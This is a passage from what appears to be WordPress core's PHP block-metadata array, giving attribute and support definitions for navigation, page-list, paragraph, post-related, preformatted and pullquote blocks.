      'customBackgroundColor' => array(
        'type' => 'string'
      ),
      'rgbBackgroundColor' => array(
        'type' => 'string'
      ),
      'showSubmenuIcon' => array(
        'type' => 'boolean',
        'default' => true
      ),
      'openSubmenusOnClick' => array(
        'type' => 'boolean',
        'default' => false
      ),
      'overlayMenu' => array(
        'type' => 'string',
        'default' => 'mobile'
      ),
      'icon' => array(
        'type' => 'string',
        'default' => 'handle'
      ),
      'hasIcon' => array(
        'type' => 'boolean',
        'default' => true
      ),
      '__unstableLocation' => array(
        'type' => 'string'
      ),
      'overlayBackgroundColor' => array(
        'type' => 'string'
      ),
      'customOverlayBackgroundColor' => array(
        'type' => 'string'
      ),
      'overlayTextColor' => array(
        'type' => 'string'
      ),
      'customOverlayTextColor' => array(
        'type' => 'string'
      ),
      'maxNestingLevel' => array(
        'type' => 'number',
        'default' => 5
      ),
      'templateLock' => array(
        'type' => array(
          'string',
          'boolean'
        ),
        'enum' => array(
          'all',
          'insert',
          'contentOnly',
          false
        )
      )
    ),
    'providesContext' => array(
      'textColor' => 'textColor',
      'customTextColor' => 'customTextColor',
      'backgroundColor' => 'backgroundColor',
      'customBackgroundColor' => 'customBackgroundColor',
      'overlayTextColor' => 'overlayTextColor',
      'customOverlayTextColor' => 'customOverlayTextColor',
      'overlayBackgroundColor' => 'overlayBackgroundColor',
      'customOverlayBackgroundColor' => 'customOverlayBackgroundColor',
      'fontSize' => 'fontSize',
      'customFontSize' => 'customFontSize',
      'showSubmenuIcon' => 'showSubmenuIcon',
      'openSubmenusOnClick' => 'openSubmenusOnClick',
      'style' => 'style',
      'maxNestingLevel' => 'maxNestingLevel'
    ),
    'supports' => array(
      'align' => array(
        'wide',
        'full'
      ),
      'ariaLabel' => true,
      'html' => false,
      'inserter' => true,
      'typography' => array(
        'fontSize' => true,
        'lineHeight' => true,
        '__experimentalFontStyle' => true,
        '__experimentalFontWeight' => true,
        '__experimentalTextTransform' => true,
        '__experimentalFontFamily' => true,
        '__experimentalLetterSpacing' => true,
        '__experimentalTextDecoration' => true,
        '__experimentalSkipSerialization' => array(
          'textDecoration'
        ),
        '__experimentalDefaultControls' => array(
          'fontSize' => true
        )
      ),
      'spacing' => array(
        'blockGap' => true,
        'units' => array(
          'px',
          'em',
          'rem',
          'vh',
          'vw'
        ),
        '__experimentalDefaultControls' => array(
          'blockGap' => true
        )
      ),
      'layout' => array(
        'allowSwitching' => false,
        'allowInheriting' => false,
        'allowVerticalAlignment' => false,
        'allowSizingOnChildren' => true,
        'default' => array(
          'type' => 'flex'
        )
      ),
      '__experimentalStyle' => array(
        'elements' => array(
          'link' => array(
            'color' => array(
              'text' => 'inherit'
            )
          )
        )
      ),
      'interactivity' => true,
      'renaming' => false
    ),
    'editorStyle' => 'wp-block-navigation-editor',
    'style' => 'wp-block-navigation'
  ),
  'navigation-link' => array(
    '$schema' => 'https://schemas.wp.org/trunk/block.json',
    'apiVersion' => 3,
    'name' => 'core/navigation-link',
    'title' => 'Custom Link',
    'category' => 'design',
    'parent' => array(
      'core/navigation'
    ),
    'allowedBlocks' => array(
      'core/navigation-link',
      'core/navigation-submenu',
      'core/page-list'
    ),
    'description' => 'Add a page, link, or another item to your navigation.',
    'textdomain' => 'default',
    'attributes' => array(
      'label' => array(
        'type' => 'string'
      ),
      'type' => array(
        'type' => 'string'
      ),
      'description' => array(
        'type' => 'string'
      ),
      'rel' => array(
        'type' => 'string'
      ),
      'id' => array(
        'type' => 'number'
      ),
      'opensInNewTab' => array(
        'type' => 'boolean',
        'default' => false
      ),
      'url' => array(
        'type' => 'string'
      ),
      'title' => array(
        'type' => 'string'
      ),
      'kind' => array(
        'type' => 'string'
      ),
      'isTopLevelLink' => array(
        'type' => 'boolean'
      )
    ),
    'usesContext' => array(
      'textColor',
      'customTextColor',
      'backgroundColor',
      'customBackgroundColor',
      'overlayTextColor',
      'customOverlayTextColor',
      'overlayBackgroundColor',
      'customOverlayBackgroundColor',
      'fontSize',
      'customFontSize',
      'showSubmenuIcon',
      'maxNestingLevel',
      'style'
    ),
    'supports' => array(
      'reusable' => false,
      'html' => false,
      '__experimentalSlashInserter' => true,
      'typography' => array(
        'fontSize' => true,
        'lineHeight' => true,
        '__experimentalFontFamily' => true,
        '__experimentalFontWeight' => true,
        '__experimentalFontStyle' => true,
        '__experimentalTextTransform' => true,
        '__experimentalTextDecoration' => true,
        '__experimentalLetterSpacing' => true,
        '__experimentalDefaultControls' => array(
          'fontSize' => true
        )
      ),
      'renaming' => false,
      'interactivity' => array(
        'clientNavigation' => true
      )
    ),
    'editorStyle' => 'wp-block-navigation-link-editor',
    'style' => 'wp-block-navigation-link'
  ),
  'navigation-submenu' => array(
    '$schema' => 'https://schemas.wp.org/trunk/block.json',
    'apiVersion' => 3,
    'name' => 'core/navigation-submenu',
    'title' => 'Submenu',
    'category' => 'design',
    'parent' => array(
      'core/navigation'
    ),
    'description' => 'Add a submenu to your navigation.',
    'textdomain' => 'default',
    'attributes' => array(
      'label' => array(
        'type' => 'string'
      ),
      'type' => array(
        'type' => 'string'
      ),
      'description' => array(
        'type' => 'string'
      ),
      'rel' => array(
        'type' => 'string'
      ),
      'id' => array(
        'type' => 'number'
      ),
      'opensInNewTab' => array(
        'type' => 'boolean',
        'default' => false
      ),
      'url' => array(
        'type' => 'string'
      ),
      'title' => array(
        'type' => 'string'
      ),
      'kind' => array(
        'type' => 'string'
      ),
      'isTopLevelItem' => array(
        'type' => 'boolean'
      )
    ),
    'usesContext' => array(
      'textColor',
      'customTextColor',
      'backgroundColor',
      'customBackgroundColor',
      'overlayTextColor',
      'customOverlayTextColor',
      'overlayBackgroundColor',
      'customOverlayBackgroundColor',
      'fontSize',
      'customFontSize',
      'showSubmenuIcon',
      'maxNestingLevel',
      'openSubmenusOnClick',
      'style'
    ),
    'supports' => array(
      'reusable' => false,
      'html' => false,
      'interactivity' => array(
        'clientNavigation' => true
      )
    ),
    'editorStyle' => 'wp-block-navigation-submenu-editor',
    'style' => 'wp-block-navigation-submenu'
  ),
  'nextpage' => array(
    '$schema' => 'https://schemas.wp.org/trunk/block.json',
    'apiVersion' => 3,
    'name' => 'core/nextpage',
    'title' => 'Page Break',
    'category' => 'design',
    'description' => 'Separate your content into a multi-page experience.',
    'keywords' => array(
      'next page',
      'pagination'
    ),
    'parent' => array(
      'core/post-content'
    ),
    'textdomain' => 'default',
    'supports' => array(
      'customClassName' => false,
      'className' => false,
      'html' => false,
      'interactivity' => array(
        'clientNavigation' => true
      )
    ),
    'editorStyle' => 'wp-block-nextpage-editor'
  ),
  'page-list' => array(
    '$schema' => 'https://schemas.wp.org/trunk/block.json',
    'apiVersion' => 3,
    'name' => 'core/page-list',
    'title' => 'Page List',
    'category' => 'widgets',
    'allowedBlocks' => array(
      'core/page-list-item'
    ),
    'description' => 'Display a list of all pages.',
    'keywords' => array(
      'menu',
      'navigation'
    ),
    'textdomain' => 'default',
    'attributes' => array(
      'parentPageID' => array(
        'type' => 'integer',
        'default' => 0
      ),
      'isNested' => array(
        'type' => 'boolean',
        'default' => false
      )
    ),
    'usesContext' => array(
      'textColor',
      'customTextColor',
      'backgroundColor',
      'customBackgroundColor',
      'overlayTextColor',
      'customOverlayTextColor',
      'overlayBackgroundColor',
      'customOverlayBackgroundColor',
      'fontSize',
      'customFontSize',
      'showSubmenuIcon',
      'style',
      'openSubmenusOnClick'
    ),
    'supports' => array(
      'reusable' => false,
      'html' => false,
      'typography' => array(
        'fontSize' => true,
        'lineHeight' => true,
        '__experimentalFontFamily' => true,
        '__experimentalFontWeight' => true,
        '__experimentalFontStyle' => true,
        '__experimentalTextTransform' => true,
        '__experimentalTextDecoration' => true,
        '__experimentalLetterSpacing' => true,
        '__experimentalDefaultControls' => array(
          'fontSize' => true
        )
      ),
      'interactivity' => array(
        'clientNavigation' => true
      )
    ),
    'editorStyle' => 'wp-block-page-list-editor',
    'style' => 'wp-block-page-list'
  ),
  'page-list-item' => array(
    '$schema' => 'https://schemas.wp.org/trunk/block.json',
    'apiVersion' => 3,
    'name' => 'core/page-list-item',
    'title' => 'Page List Item',
    'category' => 'widgets',
    'parent' => array(
      'core/page-list'
    ),
    'description' => 'Displays a page inside a list of all pages.',
    'keywords' => array(
      'page',
      'menu',
      'navigation'
    ),
    'textdomain' => 'default',
    'attributes' => array(
      'id' => array(
        'type' => 'number'
      ),
      'label' => array(
        'type' => 'string'
      ),
      'title' => array(
        'type' => 'string'
      ),
      'link' => array(
        'type' => 'string'
      ),
      'hasChildren' => array(
        'type' => 'boolean'
      )
    ),
    'usesContext' => array(
      'textColor',
      'customTextColor',
      'backgroundColor',
      'customBackgroundColor',
      'overlayTextColor',
      'customOverlayTextColor',
      'overlayBackgroundColor',
      'customOverlayBackgroundColor',
      'fontSize',
      'customFontSize',
      'showSubmenuIcon',
      'style',
      'openSubmenusOnClick'
    ),
    'supports' => array(
      'reusable' => false,
      'html' => false,
      'lock' => false,
      'inserter' => false,
      '__experimentalToolbar' => false,
      'interactivity' => array(
        'clientNavigation' => true
      )
    ),
    'editorStyle' => 'wp-block-page-list-editor',
    'style' => 'wp-block-page-list'
  ),
  'paragraph' => array(
    '$schema' => 'https://schemas.wp.org/trunk/block.json',
    'apiVersion' => 3,
    'name' => 'core/paragraph',
    'title' => 'Paragraph',
    'category' => 'text',
    'description' => 'Start with the basic building block of all narrative.',
    'keywords' => array(
      'text'
    ),
    'textdomain' => 'default',
    'usesContext' => array(
      'postId'
    ),
    'attributes' => array(
      'align' => array(
        'type' => 'string'
      ),
      'content' => array(
        'type' => 'rich-text',
        'source' => 'rich-text',
        'selector' => 'p',
        '__experimentalRole' => 'content'
      ),
      'dropCap' => array(
        'type' => 'boolean',
        'default' => false
      ),
      'placeholder' => array(
        'type' => 'string'
      ),
      'direction' => array(
        'type' => 'string',
        'enum' => array(
          'ltr',
          'rtl'
        )
      )
    ),
    'supports' => array(
      'anchor' => true,
      'className' => false,
      'color' => array(
        'gradients' => true,
        'link' => true,
        '__experimentalDefaultControls' => array(
          'background' => true,
          'text' => true
        )
      ),
      'spacing' => array(
        'margin' => true,
        'padding' => true,
        '__experimentalDefaultControls' => array(
          'margin' => false,
          'padding' => false
        )
      ),
      'typography' => array(
        'fontSize' => true,
        'lineHeight' => true,
        '__experimentalFontFamily' => true,
        '__experimentalTextDecoration' => true,
        '__experimentalFontStyle' => true,
        '__experimentalFontWeight' => true,
        '__experimentalLetterSpacing' => true,
        '__experimentalTextTransform' => true,
        '__experimentalWritingMode' => true,
        '__experimentalDefaultControls' => array(
          'fontSize' => true
        )
      ),
      '__experimentalSelector' => 'p',
      '__unstablePasteTextInline' => true,
      'interactivity' => array(
        'clientNavigation' => true
      )
    ),
    'editorStyle' => 'wp-block-paragraph-editor',
    'style' => 'wp-block-paragraph'
  ),
  'pattern' => array(
    '$schema' => 'https://schemas.wp.org/trunk/block.json',
    'apiVersion' => 3,
    'name' => 'core/pattern',
    'title' => 'Pattern placeholder',
    'category' => 'theme',
    'description' => 'Show a block pattern.',
    'supports' => array(
      'html' => false,
      'inserter' => false,
      'renaming' => false,
      'interactivity' => array(
        'clientNavigation' => true
      )
    ),
    'textdomain' => 'default',
    'attributes' => array(
      'slug' => array(
        'type' => 'string'
      )
    )
  ),
  'post-author' => array(
    '$schema' => 'https://schemas.wp.org/trunk/block.json',
    'apiVersion' => 3,
    'name' => 'core/post-author',
    'title' => 'Author',
    'category' => 'theme',
    'description' => 'Display post author details such as name, avatar, and bio.',
    'textdomain' => 'default',
    'attributes' => array(
      'textAlign' => array(
        'type' => 'string'
      ),
      'avatarSize' => array(
        'type' => 'number',
        'default' => 48
      ),
      'showAvatar' => array(
        'type' => 'boolean',
        'default' => true
      ),
      'showBio' => array(
        'type' => 'boolean'
      ),
      'byline' => array(
        'type' => 'string'
      ),
      'isLink' => array(
        'type' => 'boolean',
        'default' => false
      ),
      'linkTarget' => array(
        'type' => 'string',
        'default' => '_self'
      )
    ),
    'usesContext' => array(
      'postType',
      'postId',
      'queryId'
    ),
    'supports' => array(
      'html' => false,
      'spacing' => array(
        'margin' => true,
        'padding' => true
      ),
      'typography' => array(
        'fontSize' => true,
        'lineHeight' => true,
        '__experimentalFontFamily' => true,
        '__experimentalFontWeight' => true,
        '__experimentalFontStyle' => true,
        '__experimentalTextTransform' => true,
        '__experimentalTextDecoration' => true,
        '__experimentalLetterSpacing' => true,
        '__experimentalDefaultControls' => array(
          'fontSize' => true
        )
      ),
      'color' => array(
        'gradients' => true,
        'link' => true,
        '__experimentalDuotone' => '.wp-block-post-author__avatar img',
        '__experimentalDefaultControls' => array(
          'background' => true,
          'text' => true
        )
      ),
      'interactivity' => array(
        'clientNavigation' => true
      )
    ),
    'style' => 'wp-block-post-author'
  ),
  'post-author-biography' => array(
    '$schema' => 'https://schemas.wp.org/trunk/block.json',
    'apiVersion' => 3,
    'name' => 'core/post-author-biography',
    'title' => 'Author Biography',
    'category' => 'theme',
    'description' => 'The author biography.',
    'textdomain' => 'default',
    'attributes' => array(
      'textAlign' => array(
        'type' => 'string'
      )
    ),
    'usesContext' => array(
      'postType',
      'postId'
    ),
    'supports' => array(
      'spacing' => array(
        'margin' => true,
        'padding' => true
      ),
      'color' => array(
        'gradients' => true,
        'link' => true,
        '__experimentalDefaultControls' => array(
          'background' => true,
          'text' => true
        )
      ),
      'typography' => array(
        'fontSize' => true,
        'lineHeight' => true,
        '__experimentalFontFamily' => true,
        '__experimentalFontWeight' => true,
        '__experimentalFontStyle' => true,
        '__experimentalTextTransform' => true,
        '__experimentalTextDecoration' => true,
        '__experimentalLetterSpacing' => true,
        '__experimentalDefaultControls' => array(
          'fontSize' => true
        )
      ),
      'interactivity' => array(
        'clientNavigation' => true
      )
    )
  ),
  'post-author-name' => array(
    '$schema' => 'https://schemas.wp.org/trunk/block.json',
    'apiVersion' => 3,
    'name' => 'core/post-author-name',
    'title' => 'Author Name',
    'category' => 'theme',
    'description' => 'The author name.',
    'textdomain' => 'default',
    'attributes' => array(
      'textAlign' => array(
        'type' => 'string'
      ),
      'isLink' => array(
        'type' => 'boolean',
        'default' => false
      ),
      'linkTarget' => array(
        'type' => 'string',
        'default' => '_self'
      )
    ),
    'usesContext' => array(
      'postType',
      'postId'
    ),
    'supports' => array(
      'html' => false,
      'spacing' => array(
        'margin' => true,
        'padding' => true
      ),
      'color' => array(
        'gradients' => true,
        'link' => true,
        '__experimentalDefaultControls' => array(
          'background' => true,
          'text' => true,
          'link' => true
        )
      ),
      'typography' => array(
        'fontSize' => true,
        'lineHeight' => true,
        '__experimentalFontFamily' => true,
        '__experimentalFontWeight' => true,
        '__experimentalFontStyle' => true,
        '__experimentalTextTransform' => true,
        '__experimentalTextDecoration' => true,
        '__experimentalLetterSpacing' => true,
        '__experimentalDefaultControls' => array(
          'fontSize' => true
        )
      ),
      'interactivity' => array(
        'clientNavigation' => true
      )
    )
  ),
  'post-comments-form' => array(
    '$schema' => 'https://schemas.wp.org/trunk/block.json',
    'apiVersion' => 3,
    'name' => 'core/post-comments-form',
    'title' => 'Comments Form',
    'category' => 'theme',
    'description' => 'Display a post\'s comments form.',
    'textdomain' => 'default',
    'attributes' => array(
      'textAlign' => array(
        'type' => 'string'
      )
    ),
    'usesContext' => array(
      'postId',
      'postType'
    ),
    'supports' => array(
      'html' => false,
      'color' => array(
        'gradients' => true,
        'heading' => true,
        'link' => true,
        '__experimentalDefaultControls' => array(
          'background' => true,
          'text' => true
        )
      ),
      'spacing' => array(
        'margin' => true,
        'padding' => true
      ),
      'typography' => array(
        'fontSize' => true,
        'lineHeight' => true,
        '__experimentalFontStyle' => true,
        '__experimentalFontWeight' => true,
        '__experimentalLetterSpacing' => true,
        '__experimentalTextTransform' => true,
        '__experimentalDefaultControls' => array(
          'fontSize' => true
        )
      )
    ),
    'editorStyle' => 'wp-block-post-comments-form-editor',
    'style' => array(
      'wp-block-post-comments-form',
      'wp-block-buttons',
      'wp-block-button'
    )
  ),
  'post-content' => array(
    '$schema' => 'https://schemas.wp.org/trunk/block.json',
    'apiVersion' => 3,
    'name' => 'core/post-content',
    'title' => 'Content',
    'category' => 'theme',
    'description' => 'Displays the contents of a post or page.',
    'textdomain' => 'default',
    'usesContext' => array(
      'postId',
      'postType',
      'queryId'
    ),
    'supports' => array(
      'align' => array(
        'wide',
        'full'
      ),
      'html' => false,
      'layout' => true,
      'dimensions' => array(
        'minHeight' => true
      ),
      'spacing' => array(
        'blockGap' => true
      ),
      'color' => array(
        'gradients' => true,
        'link' => true,
        '__experimentalDefaultControls' => array(
          'background' => false,
          'text' => false
        )
      ),
      'typography' => array(
        'fontSize' => true,
        'lineHeight' => true,
        '__experimentalFontFamily' => true,
        '__experimentalFontWeight' => true,
        '__experimentalFontStyle' => true,
        '__experimentalTextTransform' => true,
        '__experimentalTextDecoration' => true,
        '__experimentalLetterSpacing' => true,
        '__experimentalDefaultControls' => array(
          'fontSize' => true
        )
      )
    ),
    'editorStyle' => 'wp-block-post-content-editor'
  ),
  'post-date' => array(
    '$schema' => 'https://schemas.wp.org/trunk/block.json',
    'apiVersion' => 3,
    'name' => 'core/post-date',
    'title' => 'Date',
    'category' => 'theme',
    'description' => 'Display the publish date for an entry such as a post or page.',
    'textdomain' => 'default',
    'attributes' => array(
      'textAlign' => array(
        'type' => 'string'
      ),
      'format' => array(
        'type' => 'string'
      ),
      'isLink' => array(
        'type' => 'boolean',
        'default' => false
      ),
      'displayType' => array(
        'type' => 'string',
        'default' => 'date'
      )
    ),
    'usesContext' => array(
      'postId',
      'postType',
      'queryId'
    ),
    'supports' => array(
      'html' => false,
      'color' => array(
        'gradients' => true,
        'link' => true,
        '__experimentalDefaultControls' => array(
          'background' => true,
          'text' => true,
          'link' => true
        )
      ),
      'spacing' => array(
        'margin' => true,
        'padding' => true
      ),
      'typography' => array(
        'fontSize' => true,
        'lineHeight' => true,
        '__experimentalFontFamily' => true,
        '__experimentalFontWeight' => true,
        '__experimentalFontStyle' => true,
        '__experimentalTextTransform' => true,
        '__experimentalTextDecoration' => true,
        '__experimentalLetterSpacing' => true,
        '__experimentalDefaultControls' => array(
          'fontSize' => true
        )
      ),
      'interactivity' => array(
        'clientNavigation' => true
      )
    )
  ),
  'post-excerpt' => array(
    '$schema' => 'https://schemas.wp.org/trunk/block.json',
    'apiVersion' => 3,
    'name' => 'core/post-excerpt',
    'title' => 'Excerpt',
    'category' => 'theme',
    'description' => 'Display the excerpt.',
    'textdomain' => 'default',
    'attributes' => array(
      'textAlign' => array(
        'type' => 'string'
      ),
      'moreText' => array(
        'type' => 'string'
      ),
      'showMoreOnNewLine' => array(
        'type' => 'boolean',
        'default' => true
      ),
      'excerptLength' => array(
        'type' => 'number',
        'default' => 55
      )
    ),
    'usesContext' => array(
      'postId',
      'postType',
      'queryId'
    ),
    'supports' => array(
      'html' => false,
      'color' => array(
        'gradients' => true,
        'link' => true,
        '__experimentalDefaultControls' => array(
          'background' => true,
          'text' => true,
          'link' => true
        )
      ),
      'spacing' => array(
        'margin' => true,
        'padding' => true
      ),
      'typography' => array(
        'fontSize' => true,
        'lineHeight' => true,
        '__experimentalFontFamily' => true,
        '__experimentalFontWeight' => true,
        '__experimentalFontStyle' => true,
        '__experimentalTextTransform' => true,
        '__experimentalTextDecoration' => true,
        '__experimentalLetterSpacing' => true,
        '__experimentalDefaultControls' => array(
          'fontSize' => true
        )
      ),
      'interactivity' => array(
        'clientNavigation' => true
      )
    ),
    'editorStyle' => 'wp-block-post-excerpt-editor',
    'style' => 'wp-block-post-excerpt'
  ),
  'post-featured-image' => array(
    '$schema' => 'https://schemas.wp.org/trunk/block.json',
    'apiVersion' => 3,
    'name' => 'core/post-featured-image',
    'title' => 'Featured Image',
    'category' => 'theme',
    'description' => 'Display a post\'s featured image.',
    'textdomain' => 'default',
    'attributes' => array(
      'isLink' => array(
        'type' => 'boolean',
        'default' => false
      ),
      'aspectRatio' => array(
        'type' => 'string'
      ),
      'width' => array(
        'type' => 'string'
      ),
      'height' => array(
        'type' => 'string'
      ),
      'scale' => array(
        'type' => 'string',
        'default' => 'cover'
      ),
      'sizeSlug' => array(
        'type' => 'string'
      ),
      'rel' => array(
        'type' => 'string',
        'attribute' => 'rel',
        'default' => ''
      ),
      'linkTarget' => array(
        'type' => 'string',
        'default' => '_self'
      ),
      'overlayColor' => array(
        'type' => 'string'
      ),
      'customOverlayColor' => array(
        'type' => 'string'
      ),
      'dimRatio' => array(
        'type' => 'number',
        'default' => 0
      ),
      'gradient' => array(
        'type' => 'string'
      ),
      'customGradient' => array(
        'type' => 'string'
      ),
      'useFirstImageFromPost' => array(
        'type' => 'boolean',
        'default' => false
      )
    ),
    'usesContext' => array(
      'postId',
      'postType',
      'queryId'
    ),
    'supports' => array(
      'align' => array(
        'left',
        'right',
        'center',
        'wide',
        'full'
      ),
      'color' => array(
        '__experimentalDuotone' => 'img, .wp-block-post-featured-image__placeholder, .components-placeholder__illustration, .components-placeholder::before',
        'text' => false,
        'background' => false
      ),
      '__experimentalBorder' => array(
        'color' => true,
        'radius' => true,
        'width' => true,
        '__experimentalSelector' => 'img, .block-editor-media-placeholder, .wp-block-post-featured-image__overlay',
        '__experimentalSkipSerialization' => true,
        '__experimentalDefaultControls' => array(
          'color' => true,
          'radius' => true,
          'width' => true
        )
      ),
      'html' => false,
      'spacing' => array(
        'margin' => true,
        'padding' => true
      ),
      'interactivity' => array(
        'clientNavigation' => true
      )
    ),
    'editorStyle' => 'wp-block-post-featured-image-editor',
    'style' => 'wp-block-post-featured-image'
  ),
  'post-navigation-link' => array(
    '$schema' => 'https://schemas.wp.org/trunk/block.json',
    'apiVersion' => 3,
    'name' => 'core/post-navigation-link',
    'title' => 'Post Navigation Link',
    'category' => 'theme',
    'description' => 'Displays the next or previous post link that is adjacent to the current post.',
    'textdomain' => 'default',
    'attributes' => array(
      'textAlign' => array(
        'type' => 'string'
      ),
      'type' => array(
        'type' => 'string',
        'default' => 'next'
      ),
      'label' => array(
        'type' => 'string'
      ),
      'showTitle' => array(
        'type' => 'boolean',
        'default' => false
      ),
      'linkLabel' => array(
        'type' => 'boolean',
        'default' => false
      ),
      'arrow' => array(
        'type' => 'string',
        'default' => 'none'
      ),
      'taxonomy' => array(
        'type' => 'string',
        'default' => ''
      )
    ),
    'usesContext' => array(
      'postType'
    ),
    'supports' => array(
      'reusable' => false,
      'html' => false,
      'color' => array(
        'link' => true
      ),
      'typography' => array(
        'fontSize' => true,
        'lineHeight' => true,
        '__experimentalFontFamily' => true,
        '__experimentalFontWeight' => true,
        '__experimentalFontStyle' => true,
        '__experimentalTextTransform' => true,
        '__experimentalTextDecoration' => true,
        '__experimentalLetterSpacing' => true,
        '__experimentalWritingMode' => true,
        '__experimentalDefaultControls' => array(
          'fontSize' => true
        )
      ),
      'interactivity' => array(
        'clientNavigation' => true
      )
    ),
    'style' => 'wp-block-post-navigation-link'
  ),
  'post-template' => array(
    '$schema' => 'https://schemas.wp.org/trunk/block.json',
    'apiVersion' => 3,
    'name' => 'core/post-template',
    'title' => 'Post Template',
    'category' => 'theme',
    'parent' => array(
      'core/query'
    ),
    'description' => 'Contains the block elements used to render a post, like the title, date, featured image, content or excerpt, and more.',
    'textdomain' => 'default',
    'usesContext' => array(
      'queryId',
      'query',
      'displayLayout',
      'templateSlug',
      'previewPostType',
      'enhancedPagination'
    ),
    'supports' => array(
      'reusable' => false,
      'html' => false,
      'align' => array(
        'wide',
        'full'
      ),
      'layout' => true,
      'color' => array(
        'gradients' => true,
        'link' => true,
        '__experimentalDefaultControls' => array(
          'background' => true,
          'text' => true
        )
      ),
      'typography' => array(
        'fontSize' => true,
        'lineHeight' => true,
        '__experimentalFontFamily' => true,
        '__experimentalFontWeight' => true,
        '__experimentalFontStyle' => true,
        '__experimentalTextTransform' => true,
        '__experimentalTextDecoration' => true,
        '__experimentalLetterSpacing' => true,
        '__experimentalDefaultControls' => array(
          'fontSize' => true
        )
      ),
      'spacing' => array(
        'blockGap' => array(
          '__experimentalDefault' => '1.25em'
        ),
        '__experimentalDefaultControls' => array(
          'blockGap' => true
        )
      ),
      'interactivity' => array(
        'clientNavigation' => true
      )
    ),
    'style' => 'wp-block-post-template',
    'editorStyle' => 'wp-block-post-template-editor'
  ),
  'post-terms' => array(
    '$schema' => 'https://schemas.wp.org/trunk/block.json',
    'apiVersion' => 3,
    'name' => 'core/post-terms',
    'title' => 'Post Terms',
    'category' => 'theme',
    'description' => 'Post terms.',
    'textdomain' => 'default',
    'attributes' => array(
      'term' => array(
        'type' => 'string'
      ),
      'textAlign' => array(
        'type' => 'string'
      ),
      'separator' => array(
        'type' => 'string',
        'default' => ', '
      ),
      'prefix' => array(
        'type' => 'string',
        'default' => ''
      ),
      'suffix' => array(
        'type' => 'string',
        'default' => ''
      )
    ),
    'usesContext' => array(
      'postId',
      'postType'
    ),
    'supports' => array(
      'html' => false,
      'color' => array(
        'gradients' => true,
        'link' => true,
        '__experimentalDefaultControls' => array(
          'background' => true,
          'text' => true,
          'link' => true
        )
      ),
      'spacing' => array(
        'margin' => true,
        'padding' => true
      ),
      'typography' => array(
        'fontSize' => true,
        'lineHeight' => true,
        '__experimentalFontFamily' => true,
        '__experimentalFontWeight' => true,
        '__experimentalFontStyle' => true,
        '__experimentalTextTransform' => true,
        '__experimentalTextDecoration' => true,
        '__experimentalLetterSpacing' => true,
        '__experimentalDefaultControls' => array(
          'fontSize' => true
        )
      ),
      'interactivity' => array(
        'clientNavigation' => true
      )
    ),
    'style' => 'wp-block-post-terms'
  ),
  'post-title' => array(
    '$schema' => 'https://schemas.wp.org/trunk/block.json',
    'apiVersion' => 3,
    'name' => 'core/post-title',
    'title' => 'Title',
    'category' => 'theme',
    'description' => 'Displays the title of a post, page, or any other content-type.',
    'textdomain' => 'default',
    'usesContext' => array(
      'postId',
      'postType',
      'queryId'
    ),
    'attributes' => array(
      'textAlign' => array(
        'type' => 'string'
      ),
      'level' => array(
        'type' => 'number',
        'default' => 2
      ),
      'isLink' => array(
        'type' => 'boolean',
        'default' => false
      ),
      'rel' => array(
        'type' => 'string',
        'attribute' => 'rel',
        'default' => ''
      ),
      'linkTarget' => array(
        'type' => 'string',
        'default' => '_self'
      )
    ),
    'supports' => array(
      'align' => array(
        'wide',
        'full'
      ),
      'html' => false,
      'color' => array(
        'gradients' => true,
        'link' => true,
        '__experimentalDefaultControls' => array(
          'background' => true,
          'text' => true,
          'link' => true
        )
      ),
      'spacing' => array(
        'margin' => true,
        'padding' => true
      ),
      'typography' => array(
        'fontSize' => true,
        'lineHeight' => true,
        '__experimentalFontFamily' => true,
        '__experimentalFontWeight' => true,
        '__experimentalFontStyle' => true,
        '__experimentalTextTransform' => true,
        '__experimentalTextDecoration' => true,
        '__experimentalLetterSpacing' => true,
        '__experimentalDefaultControls' => array(
          'fontSize' => true
        )
      ),
      'interactivity' => array(
        'clientNavigation' => true
      )
    ),
    'style' => 'wp-block-post-title'
  ),
  'preformatted' => array(
    '$schema' => 'https://schemas.wp.org/trunk/block.json',
    'apiVersion' => 3,
    'name' => 'core/preformatted',
    'title' => 'Preformatted',
    'category' => 'text',
    'description' => 'Add text that respects your spacing and tabs, and also allows styling.',
    'textdomain' => 'default',
    'attributes' => array(
      'content' => array(
        'type' => 'rich-text',
        'source' => 'rich-text',
        'selector' => 'pre',
        '__unstablePreserveWhiteSpace' => true,
        '__experimentalRole' => 'content'
      )
    ),
    'supports' => array(
      'anchor' => true,
      'color' => array(
        'gradients' => true,
        '__experimentalDefaultControls' => array(
          'background' => true,
          'text' => true
        )
      ),
      'spacing' => array(
        'padding' => true,
        'margin' => true
      ),
      'typography' => array(
        'fontSize' => true,
        'lineHeight' => true,
        '__experimentalFontFamily' => true,
        '__experimentalFontWeight' => true,
        '__experimentalFontStyle' => true,
        '__experimentalTextTransform' => true,
        '__experimentalTextDecoration' => true,
        '__experimentalLetterSpacing' => true,
        '__experimentalDefaultControls' => array(
          'fontSize' => true
        )
      ),
      'interactivity' => array(
        'clientNavigation' => true
      )
    ),
    'style' => 'wp-block-preformatted'
  ),
  'pullquote' => array(
    '$schema' => 'https://schemas.wp.org/trunk/block.json',
    'apiVersion' => 3,
    'name' => 'core/pullquote',
    'title' => 'Pullquote',
    'category' => 'text',
    'description' => 'Give special visual emphasis to a quote from your text.',
    'textdomain' => 'default',
    'attributes' => array(
      'value' => array(
        'type' => 'rich-text',
        'source' => 'rich-text',
        'selector' => 'p',
        '__experimentalRole' => 'content'
      ),
      'citation' => array(
        'type' => 'rich-text',
        'source' => 'rich-text',
        'selector' => 'cite',
        '__experimentalRole' => 'content'
      ),
      'textAlign' => array(
        'type' => 'string'
      )
    ),
    'supports' => array(
      'anchor' => true,
      'align' => array(
        'left',
        'right',
        'wide',
        'full'
      ),
      'color' => array(
        'gradients' => true,
        'background' => true,
        'link' => true,
        '__experimentalDefaultControls' => array(
          'background' => true,
          'text' => true
        )
      ),
      'spacing' => array(
        'margin' => true,
        'padding' => true
      ),
      'typography' => array(
        'fontSize' => true,
        'lineHeight' => true,
        '__experimentalFontFamily' => true,
        '__experimentalFontWeight' => true,
        '__experimentalFontStyle' => true,
        '__experimentalTextTransform' => true,
        '__experimentalTextDecoration' => true,
        '__experimentalLetterSpacing' => true,
        '__experimentalDefaultControls' => array(
          'fontSize' => true
        )
      ),
      '__experimentalBorder' => array(
        'color' => true,
        'radius' => true,
        'style' => true,
        'width' => true,
        '__experimentalDefaultControls' => array(
          'color' => true,
          'radius' => true,
          'style' => true,
          'width' => true
        )
      ),
      '__experimentalStyle' => array(
        'typography' => array(
          'fontSize' => '1.5em',
          'lineHeight' => '1.6'
        )
      ),
      'interactivity' => array(
        'clientNavigation' => true
      )
    ),
